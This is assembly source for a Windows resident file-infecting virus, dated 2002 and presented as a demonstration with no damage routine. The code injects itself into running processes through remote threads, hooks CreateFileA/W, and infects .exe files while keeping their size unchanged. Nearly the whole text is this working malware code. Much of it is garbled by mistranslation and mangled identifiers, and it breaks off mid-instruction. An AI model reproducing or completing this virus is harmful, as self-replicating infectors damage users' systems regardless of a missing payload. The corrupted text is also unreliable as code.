*********************************************************** *******************; * *; * the program information *; * *; * program name: prc *; * Current version: 0.91 (Not Under Strict Test ) *; * Completed on 11-25, 2002 *; * *; * this Program Is Something Like a Virus. But it does not contact *; * any Damage code. So it won't do harm to your system. It Just *; * DEMONSTRATES A WAY OF Developing a resident virus *; * under windows. *; * *; * You can connect me [Archim@163.com] for technic discuss *; * *; * ================================================= ==============================32 / m / ml pv.asm, pv.obj *; *; TLINK32-CM -M-TPE -AP -S: 0x10000 -sc: 0x6000 pv.obj, *; * pv.exe, kernel32.lib user32.lib *;
* The Two Libraries of kernel32.lib and user32.lib can be *; * attained in the BC 5.5 compiler. *; * *; * ================== ========================================================= * ; * History *; * *; * *; * Version: 0.9 *; * Completed On 11-25, 2002 *; * *; * 1) It can inject itself into the space of all the active *; * processes in the system if access is permitted *;. * 2) It can hook the File Storage API functions of CreateFileA *;. * and CreateFileW If the hook is successfully installed , *; * All file operations That the Proce Ss makes will be *; * monitor by out. *; * 3) IT HAS The Ability to Infect The PE files with the *; * extension ".exe"
After the pe file has been infread, *; * neither ITS Size Will Increase, NOR IT WILL BE INFECTED *; * A more Time. *; * *; * *; * *; * Version: 0.91 *; * under modification *; * *; * 1) Use CreateFileMapping and MapViewOfFile instead of ReadFile, *; * WriteFile and SetFilePointer to access the target file The *; * program. Size Become Much Shorter. *; * 2) Correct The Bugs That The File Is Not Closed if The File *; * Fails To Be infected. *; * * *********************************************************** ********************. 386p.model flat, stdcall
; If you want to play with the program, follow me .; 1) Do change the value of 'DEBUG' unless you know exactly what the option will; affect the behavior of the program .; 2) Compile and run the program .; 3) Prepare Some Exe Files and rename the "* Test.exe" style. Wait a few; seconds, the search all exe files containing the string "prograv0.9". If; iF; File Has Been Found, IT Means The Program Works! if No file deflect .; Because There all, because; can't infect .; 4) I develop The program under window 4) I show the program under window 40.I Don't Know What Will Happen; if IT Runs under windows 98 or windows xp.; ***************************************************** **************************** FALSE = 0 TRUE = 1 DEBUG = TRUE NO_EXCEPTION_HANDLER = TRUE TRACE_REMOTE_THREAD = 0 SKIP_CURRENT_PROCESS = 1 INFECT_ALL_PROCESSES = 1 NOT_INFECT_FILES = 0 Error_Diagnose = 0; ************************************************************* *******************************
TH32CS_SNAPMODULE = 00000008H
FILE_BEGIN = 0File_current = 1File_END = 2
Open_EXISTING = 00000003HIF NOT_INFECT_FILESOPEN_ALWAYS = 00000004hendif
FILE_ATTRIBUTE_NORMAL = 00000080H
File_share_read = 00000001HFILE_SHARE_WRITE = 00000002H
Generic_read = 80000000HGENERIC_WRITE = 40000000H
FILE_MAP_WRITE = 00000002H
MB_PREComposed = 00000001HMB_CompOSite = 00000002H
CP_ACP = 0cp_oemcp = 1cp_maccp = 2cp_thread_acp = 3
Page_readwrite = 00000004H
FLAG_IN_DATA_SECTION = 00000001HFLAG_USE_TWO_SECTION = 00000002H
Majorversion = 0minorVersion = 9
MAX_PATH = 260
Sizeof (image_nt_headers); section header offset 0xf8; fieldname offset; ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------; addressofentrypoint 0x28; sizeofheaders 0x54; sizeofstackcommit 0x64; dataDirectory 0x78
*********************************************************** ********************; * *; * Declare FUNTION prototype *; * *; ***************** *********************************************************** ** GetLastError PROTOMessageBoxA PROTO: DWORD,: DWORD,: DWORD,: DWORDGetModuleHandleA PROTO: DWORDGetProcAddress PROTO: DWORD,: DWORDCreateFileA PROTO: DWORD,: DWORD,: DWORD,: DWORD,: DWORD,: DWORD,: DWORDCreateFileW PROTO: DWORD, : DWORD,: DWORD,: DWORD,: DWORD,: DWORD,: DWORDCLOSEHANDLE PROTO: DWORDFIRSTFILEA Proto: DWORD,: DWORDFINDNEXTFILEA PROTO: DWORD,: DWORD
Printf Proto: DWORD
*********************************************************** *******************; * *; * entry code section *; * *; **************** *********************************************************** ** _ text segment us32 public 'code'
Virtualent:
Call getLastError
Call getcurrenteiptoebx $ A:; MOV ESI, 00400000H; MOV EAX, [ESI 0000003CH]; Lea EDI, [ESI EAX]; MOV EDX, [EDI 00000080H]; MOV EAX, [EDX ESI]; Add Eax, ESI; MOV ECX, [EAX 00000010h]
Mov Edx, Offset GetLastError Add Edx, 2 MOV ECX, [EDX] SUB ECX, 00400000H
mov eax, offset RvaOfFirstThunkOfKernel32 sub eax, offset $ A mov [ebx eax], ecxmov eax, offset OriginalEntryPoint sub eax, offset $ A mov ecx, offset lb_ExitCurrentProcess sub ecx, 00400000h; add ebx, eax; push ebp; mov ebp, ESP; Push 00400000H
MOV [EBX EAX], ECX JMP Entryofviruscode
LB_EXITCURRENTPROCESS:
RET
_Text Ends
*********************************************************** *******************; * *; * data section *; * *; ***************** *********************************************************** * _Data segment use32 public 'data'
---- Error MessagessZexceptionCaused DB "Exception Error Captured!", 0SzError DB "Error", 0FileNameTofind DB 'g: / testfile /' filenamefound = $ db '* .exe', 0 dB 260 dup (?) TestFilew DW ' G ',': ',' / ',' p ',' r ',' o ',' / ',' t ',' A ',' S ',' M ',' / 'DW' T ' , 'E', 'S', 'T', '.', 'E', 'X', 'E', 0TestFilea DB 'G: /PRO/TASM/TEST.EXE', 0
W32FindData DB 140H DUP (?)
_Data Ends
*********************************************************** ********************; * *; * main code section *; * *; **************** *********************************************************** ** virsegment segment use32 public 'prc'
Max_wnd_size = 1024offset_coding_ley = 10m = 3BaseofViruscode = $
*********************************************************** ***********; * *; * restorecompressedData () *; * *; * remarks: *; * restore the compressed data *; * *; * parameters *; *; *; *; *; *; ********; ********; ******** ******************************* *****************************
RestoreCompressedData:
cld mov edi, [ebp] [lpImageBaseBaseOfProcess] lea edx, [ebx] [SizeOfTransmission- @ B] push edx lea ecx, [ebx VIRUS_VIRTUAL_SIZE] [BaseOfVirusCode- @ B] push ecx lodsd push eax mov edx, edi; Add Edi, [ESI] MOV ESI, ECX Mov ECX, 'Hold'Sizeoftransmission = $ -4 Push Ecx Push ESI Push Page_readwrite Mov ESI, EDI CALL INVOKEVIRTUALPROTECTEX POP ESI POP ECX Push ECX PUSH EDI CLD REP MOVSB POP ESI POP ECX Push DWORD PTR [EBX] [dwoldprotect- @ b] Call InvokevirtualProtectexlb_exitRestoreCompRESSEDDATA: RET RVAOFENTRYPOINT = $ DD (Offset Entryofviruscode - 00400000H) RVAOFFIRSTHUNKOFKERNEL32 = $ DD 0 DD 0; Total Bits Aftr Compression. DD 0; RVA of the Data Buffer WHERE The Compressed Data Are Stored In. DD 0; RVA of The Data Buffer Wheree The Compressed Data Are Restored To. DecompressionParameterB = $ DD 0 DD 0 DD 0 EntryofViruscode: XX = -4lpimagebasebaseofprocess = xx IF NO_EXCEPTION_HANDLER XX = XX-4ELSE XX = XX-12ENDIF LPIMAGEBASEOFKERNEL32 = XX XX = XX-4HSNAPSHOT = XX XX = XX-4HProcessHandle = xx xx = XX-4LPBaseOfcodeInRemoteProcess = XX Pushad Sub ESP, Virus_booting_size Mov Edi, ESP Call @ a @ a = $ pop ebx Lea Eax, [EBX] [Entryofviruscode- @ a] MOV ECX, [EBX] [RVAOFENTRYPOINT- @ a] Sub Eax, ECX Lea ESI, [EBX] [Baseofviruscode- @ A] MOV ECX, Virus_Physical_Size CLD Rep Movsb Lea EBX, [ESP] [@ b-baseofviruscode] JMP EBX @B = $ Push EBP MOV EBP, ESP Push Eax; Initialize LPIMAGEBASEBASEOFPROCESS Add [EBX] [OriginaLENTRYPOINT- @ B], EAX SET UPURE EXCEPTION HANDLER. SO WHEN Any Exception Occurs, etc ============================================00 ============================================================================================================================================================================== ============================================================================================================================================================================================================= == IFE NO_EXCEPTION_HANDLER LEA EAX, [ESP-8] xor ESI, ESI XCHG Eax, FS: [ESI] Lea ECX, [EBX] [ExceptionHandler- @ b] Push ECX PUSH EAXENDIF; ========= ============================================================================================================================================================================================================= ==========; Let's locate the image base of the module 'kernel32.dll'. LB_Loopoflocatekernel32: POP EAX PUSH EAX MOV ECX, [EBX] [RVAOFFirstthunkofkernel32- @ b] MOV Eax, [EAX ECX] Add [EBX] [RVAOFFirstthunkofkernel32- @ b], DWORD PTR 4 lb_loopofcheck64kboundaries: And Eax, 0FFFF0000H CMP Word PTR [EAX], 'ZM' JNZ LB_TRYNEXTBOUNDARY MOV ECX, [EAX 0000003CH] Add ECX, EAX CMP DWORD PTR [ECX], 00004550H JNZ LB_TRYNEXTBOUNDARY MOV EDX, [ECX 00000078H] Add EDX, EAX MOV ESI, [EDX 0000000CH] Add ESI, EAX Lea Edi, [ EBX] [NameOfkernel32- @ b] Call strcmpi jz lb_imagebaseofkernel32isfound jmp lb_loopoflocatekernel32 LB_TRYNEXTBOUNDARY: SUB EAX, 00010000H JMP LB_Loopofcheck64kboundaries LB_ImageBaseOfkernel32isfound: Push Eax; intialize lpimagebaseofkernel32 Mov ESI, EDX Lea EDI, [EBX] [ifnametable- @ b] Leet get the entry points of the windows api functions which; The Virus code Must Use from the module 'kernel32.dll'.lb_loopofgeTryAddressofaPifunctions: Mov ECX, [EDI] Jecxz LB_Alladdressesgotten push eax push edi lea edi, [ebx ecx] call GetProcedureAddress test eax, eax jz lb_ExitVirusProgram pop edi mov [edi] [CallAddressTable-IfNameTable], eax pop eax add edi, 4 jmp lb_LoopOfGetEntryAddressOfApiFunctions LB_ALLADDRESSGOTTEN: Lea ESI, [EBX] [DecompressionParametersa- @ b] Call RestorecompressedData JMP LB_NOSECONDCOMPRESSECTIONJUMPOFFSET = $ -1nextStatement = $ Lea ESI, [EBX] [DecompressionParametersb- @ b] Call RestorecompressedData lb_nosecondcompressedSection: ; //} @C = @B; Now all the entry addresses of the API Functions Have Been Relocated .; That Is Very Import .; {Push 0 Push 2 Call DWORD PTR [EBX] [LPFNCREATOOLHELP32SNAPSHOT- @ C] TEST EAX, EAX JZ LB_AllProcessenumerated Push Eax; Initialize Hsnapshot lea eax, [ebx] [ProcessEntry32- @ C] mov dword ptr [eax], 00000128h push eax push dword ptr [ebp] [hSnapShot] call dword ptr [ebx] [lpfnProcess32First- @ C] test eax, eax jz lb_AllProcessesEnumerated lb_loopofenumerateAllProcesses: Ife infect_all_processes If Skip_Current_Process Lea ESI, [EBX] [PE_SZEXEFILE- @ C] Lea EDI, [EBX] [TargetProcessName- @ C] Call strcmpi jz lb_trynextProcess call [ebx] [lpfnGetCurrentProcessId- @ C] cmp eax, [ebx] [pe_th32ProcessID- @ C] jnz lb_TryNextProcess else lea esi, [ebx] [pe_szExeFile- @ C] lea edi, [ebx] [TargetProcessName- @ C] call STRCMPI JNZ LB_TRYNEXTPROCESS Endifendiflb_targetprocessFound: MOV EAX, [EBX] [PE_th32Processid- @ C] Push Eax Push 0 push 001f0ffh; process_all_access call [ebx] [lpfnopenprocess- @ C] test Eax, EAX JZ LB_TRYNEXTPROCESS Push Eax; Initailize HProcessHandle push 00000004h; PAGE_READWRITE push 00001000h; MEM_COMMIT push VIRUS_ALIGN_SIZE push 0 push eax call [ebx] [lpfnVirtualAllocEx- @ C]; push eax; <; call GetLastError; Xchg Eax, ESI PUSH ESI; LPBaseOfcodeinRemoteProcess Lea EDI, [EBX] [ReturnValueFromRemoteProcess- @ c] xor edx, edx mov [edi], edx; Initialize return value push edx push VIRUS_ALIGN_SIZE lea ecx, [ebx] [BaseOfVirusCode- @ C] push ecx push esi push dword ptr [ebp] [hProcessHandle] call [ebx] [lpfnWriteProcessMemory- @C] Test Eax, EAX JZ LB_EXITVIRUSPROGRAM Ife Skip_current_process push ebxendif xor ecx, ecx push ecx push ecx push ecx lea edx, [esi] [RemoteThread-BaseOfVirusCode] push edx push ecx push ecx push dword ptr [ebp] [hProcessHandle] call [ebx] [lpfnCreateRemoteThread- @ C]; test eax, EAX; JZ LB_EXITVIRUSPROGRAMIFE SKIP_CURRENT_PROCESS POP EBXENDIF Push DWORD PTR [EBP] [HPROCESSHANDLE] CALL [EBX] [lpfnclosehandle- @ c] LB_TRYNEXTPROCESS: Lea Eax, [EBX] [Processentry32- @ C] Push Eax Push DWORD PTR [EBP] [HSnapshot] Call Dword PTR [EBX] [lpfnprocess32next- @ c] Test Eax, EAX JZ LB_EXITVIRUSPROGRAM JMP lb_loopofenumerateAllProcesses lb_allprocesssenumerated: Push DWORD PTR [EBP] [hsnapshot] call [ebx] [lpfnclosehandle- @ c] Lb_exitvirusprogram: JMP lb_directlyexitvirusprogram lb_directlyexitvirusprogram: Ife NO_EXCEPTION_HANDLER POP DWORD PTR FS: [0] POP ECXENDIF MOV ESP, EBP POP EBP Add ESP, Virus_booting_size popad Push Offset LB_EXITCURRENTPROCESSORIGINALENTRYPOINT = $ -4 Ret *********************************************************** ********************; * *; * Get the current EIP INTO EAX. You can use this way to locate *; * the virus code. *; * * *********************************************************** ******************* GetCurrenteipToeax: POP EAX JMP EAX *********************************************************** ***********; * *; * Get the current EIP INTO EBX. You can use this way to locate *; * the virus code. *; * * *********************************************************** ******************* GetCurrenteipToeBX: POP EBX JMP EBX *********************************************************** ************ * *; * STRCMPI () *; * *; * Remarks: *; * this Routine Compare Two strings, case-insensitive. * ; * *; * Parameters: *; * [ESI] *; * Point to string1. *; * [EDi] *; * point to string2 *; *; * ration value: *; * if these two strings are Identical , *; * If these two strings are not identical, *; * zf flag will be cleared. *; * *; **************** *********************************************************** *** Strcmpi: Push ESI Push EDI PUSH EAX PUSH ECX XOR EAX, EAX XOR ECX, ECX LB_LOOPOFCompareStrings: MOV Al, [ESI] MOV CL, [EDI] Inc ESI Inc EDI CMP EAX, 'A' JB LB_NOTASCIICHARACTER CMP EAX, 'Z' JA LB_NOTASCIICHARACTER CMP EAX, 'Z' JBE LB_ISASCIICHARACTER CMP EAX, 'JAE LB_ISASCIICHARACTER JMP LB_NOTASCIICHARACTER LB_ISASCIICHARACTER :; if The Character Is A ASCII Character, Just Convert It To Lower-Case. OR Eax, 20h or ECX, 20HLB_NOTASCIICHARACTER: CMP Eax, ECX JNZ LB_STRINGSNOTEQUAL JECXZ LB_STRINGSISEQUAL JMP LB_LOOPOFCOMPARESTRINGS LB_stringsisequal: lb_stringsnotequal: POP ECX POP EAX POP EDI POP ESI RET *********************************************************** ********************; * *; * isllzero () *; * [param1] *; * [param2] *; * *; * remoteks: *; * This Routine Check if The Contents of a Specified Buffer *; * Are all zero. *; * *; * Parameters: *; * [param1] *; * point to the buffer. *; * [Param2] *; *; Size of the buffer. *; * *; * If the buffer is all filled with zero, *; * z-flag will be set. *; * If the buffer is not all flyd with zero, *; * z-flag Will be cleared. *; * *; ************************************************** ************************************************************************************* Isllzero: Push ESI PUSH ECX PUSH EAX XOR EAX, EAX MOV ESI, [ESP 10000010H] MOV ECX, [ESP 00000014h] CLDLP_GETNEXTBYTOCOMPARE: Lodsb test eax, eax jnz lp_exitisallzero loop lp_getnextByTocomparelb_exitisallzero: POP EAX POP ECX POP ESI RET 8 *********************************************************** ********************; * *; * RVAADDRESSTOFILEMAPPINGADDRESS () *; * *; * Remarks: *; * this routine converts the rva address to the file *; *; * *; * Parameters: *; * [eax] *; *; @ Return Value: *; * if the rva address *; * ration. Address Will Be Returned in Eax. Otherwi SE, NULL WILL BE *; * RETURNED IN Eax. *; * *; ********************************************* ********************************* RVAADDRESSTOFILEMAPPINGADDRESS: Push ESI MOV ESI, [EBP] [LPNTHEADERS]; GET NTHEADS Movzx ECX, Word PTR [ESI 00000006h] Lea ESI, [ESI 0000000F8H] LP_CHECKALLSECTIONS: Mov Edx, [ESI 0000000CH] CMP EAX, EDX JB LB_CHECKNEXTSECTION Add Edx, [ESI 00000010H] CMP Eax, Edx Jae LB_ChecknexTSECTION Sub Eax, [ESI 0000000CH] Add Eax, [ESI 00000014h] Add Eax, [EBP] [lpfilemapping] JMP lb_quitrvatofilepointerlb_checknextsection: Add ESI, 00000028H; 40 Loop LP_CHECKALLLSESECTIONS XOR EAX, EAX lb_quitrvatofilepointer: POP ESI RET *********************************************************** ********************; * *; * Installapihook () *; * [param1] *; * [param2] *; * *; * remoteks: *; * The routine Tries to Install a hook on the specified *; * Windows API function. *; * *; * Parameters: *; * [eax] *; * the image base of the module on which the hook function *; * Will Be installed. *; * [eDX] *; * [ESI] *; * Point to the string which contains the name of the api *; * function on which the hook will be installed. *; * [Param1] * ; * [Param2] *; * Point to the variable which saves the original entry *; * address of the API function. *; * *; * Return Value: * ; * If the has been successfulness installed on the api *; * function, cf flag will be set. Otherwise, cf flag will *; * be cleared. *; * *; *********** *********************************************************** ******* InstallApiHook: parameters_base = 4 3 * 4 Push Eax Push Edx Push ESI Push EDI LB_LoopofcheckimportDescriptors: push (size_of_import_descriptor) Push Edx Call Isllzero JZ LB_APIHOKINSTALLATIONFAIL MOV ECX, [EDX] JECXZ LB_TRYNEXTIMPORTDESCRIPTOR Add ECX, EAX LB_LoopofcheckDatathunks: Mov Edi, [ECX] Test EDI, EDI JZ LB_TRYNEXTIMPORTDESCRIPTOR TEST EDI, 80000000H JNZ LB_TRYNEXTDATHUNK Add Edi, ED INC EDI INC EDI CALL STRCMPI JZ LB_APIFUNCTIONISFOUND LB_TRYNEXTDATHUNK: Add ECX, 4 JMP LB_LOOPOFCHECKDATHUNKS LB_TRYNEXTIMPORTDESCRIPTOR: Add Edx, Size_OF_IMPORT_DESCRIPTOR JMP LB_LOOPOFCHECKIMPORTDESCRIPTORS LB_APIFunctionInsFound: Mov EDI, [EDX 00000010h] Sub EDI, [EDX] Add ECX, EDI Push Page_readwrite Mov ESI, ECX XOR ECX, ECX CALL INVOKEVIRTUALPROTECTEX TEST EAX, EAX JZ LB_APIHOKINSTALLATIONFAIL MOV EAX, [ESI]; MOV EDX, [ESP 00000018H]; MOV [ESI], ECX; Modify THE Entry Address of the API Function Push DWORD PTR [EBX] [dwoldprotect- @ x] xor ECX, ECX CALL INVOKEVIRTUALPROTECTEX TEST EAX, EAX JZ LB_APIHOKINSTALLATIONFAIL STC JMP LB_EXITINSTALLAPIHOK LB_APIHOKINSTALLATIONFAIL: LB_APIHOKALREADYINSTALLED: CLC LB_EXITINSTALLAPIHOK: POP EDI POP ESI POP EDX POP EAX RET 8 *********************************************************** ********************; * *; * Remarks: *; * the Rountine Run in the context of a remote process. It will will *; * try to install a hook on the API functions of CreateFileA *; * and CreateFileW *; * *; * Parameters: *; * [Param1]: *; * The thread which call CreateRemoteThread to create this *; * thread pass the parameter The parameter is not. Used Here. *; *; *; i The hooks have be returned. *; * *; ************************************************************ ********************************* XX = -4hsnapshotofmoduleEnume period = xx xx = XX-4LPModuleEntry32 = xx xx = XX-4DWRETURNVALUE = XX xx = XX-4 RemoteThread: ; The follow statements looks like a dead loop Yes, it is so .; But they are helpful in tracing the thread in the remote process .; When the thread is created in the remote process, it will;. Immediately runes into the dead- loop It will not go out unitil;.. somebody help it First you can activate the process in the; context of whom the thread has been created Now you can;.. activate SoftIce by pressing CTRL D you have a very big chance ; to get the breakpoint which is exactly located in the dead-loop .; Now you can modify ECX register to any non-zero value The;.. dead loop no longer exists And you can trace thread in the; context of the remote process .IF TRACE_REMOTE_THREAD XOR ECX, ECX JECXZ $ ENDIFPUSH EBP MOV EBP, ESP Call getcurrenteiptoebx @ xd: add ebx, @X - @XD Push 0 Push TH32CS_SNAPMODULE CALL [EBX] [LPFNCREATOOLHELP32SNAPSHOT- @ x] Test Eax, EAX JZ LB_EXITREMOTETHREAD Push Eax; Initialzie HsnapshotofModuleEnumeration Lea EDI, [EBX] [ModuleEntry32- @ x] MOV DWORD PTR [EDI], 00000224H Push EDI; Initialize LPModuleEntry32 Push -1; Initialize DwreturnValue Push EDI PUSH EAX CALL [EBX] [LPFNModule32First- @ x] Test Eax, EAX JZ LB_EXITREMOTHREAD LB_LoopofenumerateModulesOfcurrentProcess: MOV EAX, [EDI] [ME_MODBASEADDR-MODULETRY32] MOV ECX, [EAX 0000003CH] Lea EDX, [EAX ECX] MOV ECX, [EDX 00000080H] JECXZ LB_TRYNEXTMODULE LEA EDX, [EAX ECX] ; Push 247C8B60h lea esi, [ebx] [n_CreateFileW- @ X] lea ecx, [ebx] [OriginalEntryOfCreateFileW- @ X] push ecx lea ecx, [ebx] [HookOfCreateFileW- @ X] push ecx call InstallApiHook jnc lb_TryToInstallHookOnCreateFileA Push 1 Pop DWORD PTR [EBP] [DWRETURNVALUE] LB_TRYTOINSTALLHOKONCREATEFILEA: ; Push 24748B60h lea esi, [ebx] [n_CreateFileA- @ X] lea ecx, [ebx] [OriginalEntryOfCreateFileA- @ X] push ecx lea ecx, [ebx] [HookOfCreateFileA- @ X] push ecx call InstallApiHook jnc lb_TryNextModulepush 1 pop dword PTR [EBP] [dwreturnvalue] LB_TRYNEXTMODULE: Push EDI PUSH DWORD PTR [HSNAPShotofmoduleEnumeration] Call [EBX] [LPFNModule32Next- @ x] Test Eax, EAX JZ LB_EXITREMOTETHREAD JMP LB_LoopofenumerateModulesOfcurrentProcess lb_exitremothetread: Push DWORD PTR [EBP] [HSnapshotofmoduleEnumeration] Call [EBX] [lpfnclosehandle- @ x] POP EAX MOV ESP, EBP POP EBP CMP Eax, 1 JZ LB_APIHOOKSUCCESSFULLLYInStalled POP ECX PUSH VIRUS_ALIGN_SIZE LEA EDX, [EBX] [BaseOfviruscode- @ x] Push Edx Push -1 Push ECX JMP [EBX] [lpfnvirtualfreeex- @ x] LB_APIHOOKSUCCESSFULLLYINSTALLED: MOV BYTE PTR [EBX] [ISBUSY- @ x], 0; Initialize the busy flag return 04 *********************************************************** ********************; * *; * invokevirtualProtecteex () *; * [param1] *; *; * res: *; * Invoke the Windows API Function Of VirtualProtectex to *; * Change R / W Access of the Specified Memory Block. *; * *; * parameters: *; * [ESI]: *; * Pointer to the start address of the buffer to the start address of the buffer. * Will be changed. *; * [ECX]: *; * the size of the buffer. *; * [Param1]: *; * new r / w access for the buffer. *; * *; * Return value: *; * the value returned return from virtualprotectectex. *; *; ******* *********************************************************** ************ InvokevirtualProtectex: Call getCurrenteipToeax @ 8 = $ pop dword ptr [EAX] [ReturnFrominvokevirtualProtectex- @ 8] add eax, dwoldprotect - @ 8 pop edx push eax push edx test ecx, ecx jnz lb_UseSpecifiedSize mov ecx, 00001000hlb_UseSpecifiedSize: push ecx mov edx, esi and edx, 0FFFFF000h push edx push -1 call dword ptr [eax] [lpfnVirtualProtectEx-dwOldProtect] push 'HOLD'ReturnFromInvokeVirtualProtectEx = $ -4 RET *********************************************************** *********** *; *; * hook functions on the API Functions of createfilea and; * createfilew. When Someting Want to call the API Function of; * CreateFilea OR CreateFileW anyway, our hook functions will get;. * called first you can do anything you want in the hook; * functions And then you will call the real CreateFileA or;. * CreateFileW function which is exported by kernel32.dll to; * complete The File Creation Request.; *; ************************************************* *****************; Handle CreateFile (; lpctstr lpfilename, // file name; dWord dwdesiredaccess, // access mode; dword dwsharemode , // share mode; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // SD; DWORD dwCreationDisposition, // how to create; DWORD dwFlagsAndAttributes, // file attributes; hANDLE hTemplateFile // handle to template file;) ; The stack is like the following figure when FindFirstFile is called; ______________________________; | Return Address | << == ESP (Low Address); | ______________________________ |; | lpFileName |; | ______________________________ |; | dwDesiredAccess |; | ______________________________ |; | dwShareMode |; | ______________________________ |; | lpSecurityAttributes |; | ______________________________ |; | dwCreationDisposition |; | ______________________________ |; | dwFlagsAndAttributes |; | ______________________________ |; | hTemplateFile |; | ______________________________ | ;;; After PUSHAD statement is executed, the stack looks LIKE THIS :; ______________________________; | EDI | 000h: | << == ESP; | ______________________________ | |; | ESI | 004h: |; | ______________________________ | |; | EBP | 008H |; | ______________________________ | |; | ESP | 00CH | pushad; | ______________________________ | |; | EDX | 010h |; | ______________________________ | |; | ECX | 014H |; | ______________________________ | |; | EBX | 018H |; | ______________________________ | |; | EAX | 01CH |; | ______________________________ | | __; | Return Address | 020H; | ______________________________ |; | lpFileName | 024h; | ______________________________ |; | dwDesiredAccess | 028h; | ______________________________ |; | dwShareMode | 02CH; | _________________ _____________ |; | lpSecurityAttributes | 030H; | ______________________________ |; | dwCreationDisposition | 034H; | ______________________________ |; | dwFlagsAndAttributes | 038H; | ______________________________ |; | hTemplateFile | 03CH; | ______________________________ | HookOfCreateFileW: Pushhad Mov EDI, [ESP 00000024H] Call Infectpefile POPAD PUSH 'HOLD'ORIGINALETRYOFCREATEFILEW = $ -4 Ret HookofcreateFilea: Pushad Mov ESI, [ESP 00000024H] Call getcurrenteiptoeax @ 0: Lea EDI, [EAX 00001000H] [BaseofViruscode- @ 0]; Lea EDI, [Eax 00000E00H] [BaseofViruscode- @ 0] push 0000200h push edi push -1 push esi; push MB_PRECOMPOSED push MB_COMPOSITE push CP_THREAD_ACP call [eax] [lpfnMultiByteToWideChar- @ 0] test eax, eax jz lb_ExitHookOfCreateFileAcall InfectPeFile LB_ExiokOfcreateFilea: POPAD PUSH 'HOLD'ORIGINALETRYOFCREATEFILEA = $ -4 RET *********************************************************** ********************; * *; * Infectpefile () *; * *; * remarks: *; * Infect the specified pe file with ou verus code. * ; * *; * Parameters: *; * [eDi] *; * Point to a null-terminating *; * the pe file name. *; * *; * Return value: *; * none. * ; * ********************************************************* ************ ********* X = -4 xx = -4TMPVAR = xxdwnumberofbytesread = (tmp) dwnumberofbyteswritten = (tmpvar) xx = xx-4i = xxuladdressofvcode = xx xx = XX-4PSECTIONOFORIGINALDATAANDCODE = XX DWORDSOFCOMPRESSIONFO = 6 XX = (XX) - (4 * DWORDSofCompressionInfo) CompressionInfoAA = XX XX = (XX) - (4 * DWORDSofCompressionInfo) CompressionInfoBB = XX off_pSection = 0000h off_OriginalVirtualAddress = 0004h off_pCompressedDataBuffer = 0008h off_ulNumTotalBits = 000Ch off_ulNumUsedBytes = 0010h off_ulNumFreeBytes = 0014h XX = XX- 4 SIZE_OF_LOCAL_VARS = X-XXlpszFileNameToOpen = XX XX = XX-4hFileHandle = XX XX = XX-4hFileMappingHandle = XX XX = XX-4lpFileMapping = XX XX = XX-4dwTotalFileSize = XX XX = XX-4lpNtHeaders = XX XX = XX-4ulInformation = XX XX = XX-4 InfectPefile: Push EBP MOV EBP, ESP Call getcurrenteiptoebxreeloce = $ add ebx, @X - reel Lea Eax, [EBX] [Isbusy- @ x] CMP BYTE PTR [EAX], 0 JNZ LB_ISBUSYNOW INC BYTE PTR [EAX] SUB ESP, SIZE_OF_LOCAL_VARS Push Edi; Initialize LPSZFileNameToopen IF not_infect_files xor ecx, ecx push ecx push FILE_ATTRIBUTE_NORMAL push (OPEN_ALWAYS) push ecx push (FILE_SHARE_READ OR FILE_SHARE_WRITE) push (GENERIC_READ OR GENERIC_WRITE) lea eax, [ebx] [LogFileName- @ X] push eax call [ebx] [lpfnCreateFileA- @ X] CMP EAX, -1 JZ LB_EXITINFECTPEFILE Mov ESI, EAX XOR ECX, ECX PUSH FILE_END PUSH ECX PUSH ECX PUSH ESI CALL [EBX] [lpfnsetfilepointer- @ x] push 0000200h lea edi, [ebx 00002000h] [BaseOfVirusCode- @ X] push edi push -1 lea eax, [ebx] [pe_szExeFile- @ X] push eax push MB_COMPOSITE push CP_ACP call [ebx] [lpfnMultiByteToWideChar- @ X] test Eax, EAX JZ LB_LOGFAIL push 0 lea ecx, [ebp] [dwNumberOfBytesWritten] push ecx add eax, eax dec eax dec eax push eax push edi push esi call [ebx] [lpfnWriteFile- @ X] test eax, eax jz lb_LogFailpush dword ptr ':' mov eax ESP Push 0 Lea ECX, [EBP] [dwnumberofbyteswritten] Push ECX Push 2 Push Eax Push ESI CALL [EBX] [lpfnwritefile- @ x] test eax, Eax JZ LB_Logfail POP EAX POP EDI PUSH EDI XOR EAX, EAXLP_FINDNULLWCHAR: MOVZX ECX, WORD PTR [EDI] JECXZ LB_WSTRINGEND INC EAX INC EAX INC EDI INC EDI JMP LP_FINDNULLWCHAR LB_WSTRINGEND: POP EDI Push 0 Lea ECX, [EBP] [dwnumberofbyteswritten] Push ECX PUSH EAX PUSH EDI PUSH ESI CALL [EBX] [lpfnwritefile- @ x] test eax, eax jz lb_logfail Push DWORD PTR 000A000DH MOV EAX, ESP Push 0 Lea ECX, [EBP] [dwnumberofbyteswritten] Push ECX Push 4 Push Eax Push ESI CALL [EBX] [lpfnwritefile- @ x] test eax, Eax jz lb_logfail LB_Logfail: Push ESI CALL [EBX] [lpfnclosehandle- @ x] JMP LB_EXITINFECTPEFILE ENDIF XOR Eax, ESI, ESI, EDI lp_findthendofwideString: Movzx ECX, Word PTR [ESI] Jecxz LB_WIDESTRINGTERMINATE INC ESI INC ESI JMP LP_FINDTHEENDOFWIDESTRING LB_WIDESTRINGTERMINATE: XOR EAX, EAX PUSH 4 POP ECX LP_CONVERT4WIDECHARSCIANSICHARS: SHL EAX, 8 DEC ESI DEC ESI MOV Al, [ESI] loop lp_convert4widecharstoansichars OR EAX, 20202000H CMP EAX, 'EXE.' JNZ LB_EXITINFECTPEFILE IF Debug MOV EDX, [ESI-4] or EDX, 00200020H CMP EDX, 00740073H JNZ LB_EXITINFECTPEFILE MOV EDX, [ESI-8] or EDX, 00200020H CMP EDX, 00650074H JNZ LB_EXITINFECTPEFILE ENDIF Push EDI CALL [EBX] [lpfNgetFileAttributesw- @ x] CMP Eax, -1 JZ LB_EXITINFECTPEFILE XCHG EAX, ESI push FILE_ATTRIBUTE_NORMAL; Push Eax; Initialize HfileHandle Push ESI; XOR ECX, ECX PUSH ECX PUSH ECX PUSH ECX PUSH PUSH DWORDWRITE PUSH ECX PUSH DWORD PTR [EBP] [HFILEHANDLE] CALL [EBX] [lpfncreatefilemappingw- @ x] CMP Eax, -1 jz lb_createfilemappingfail Push Eax; Initialize HfilemappingHandle XOR ECX, ECX PUSH ECX PUSH ECX PUSH ECX PUSH FILE_MAP_WRITE PUSH EAX CALL [EBX] [LPFNMAPVIEWOFFILE- @ x] test eax, 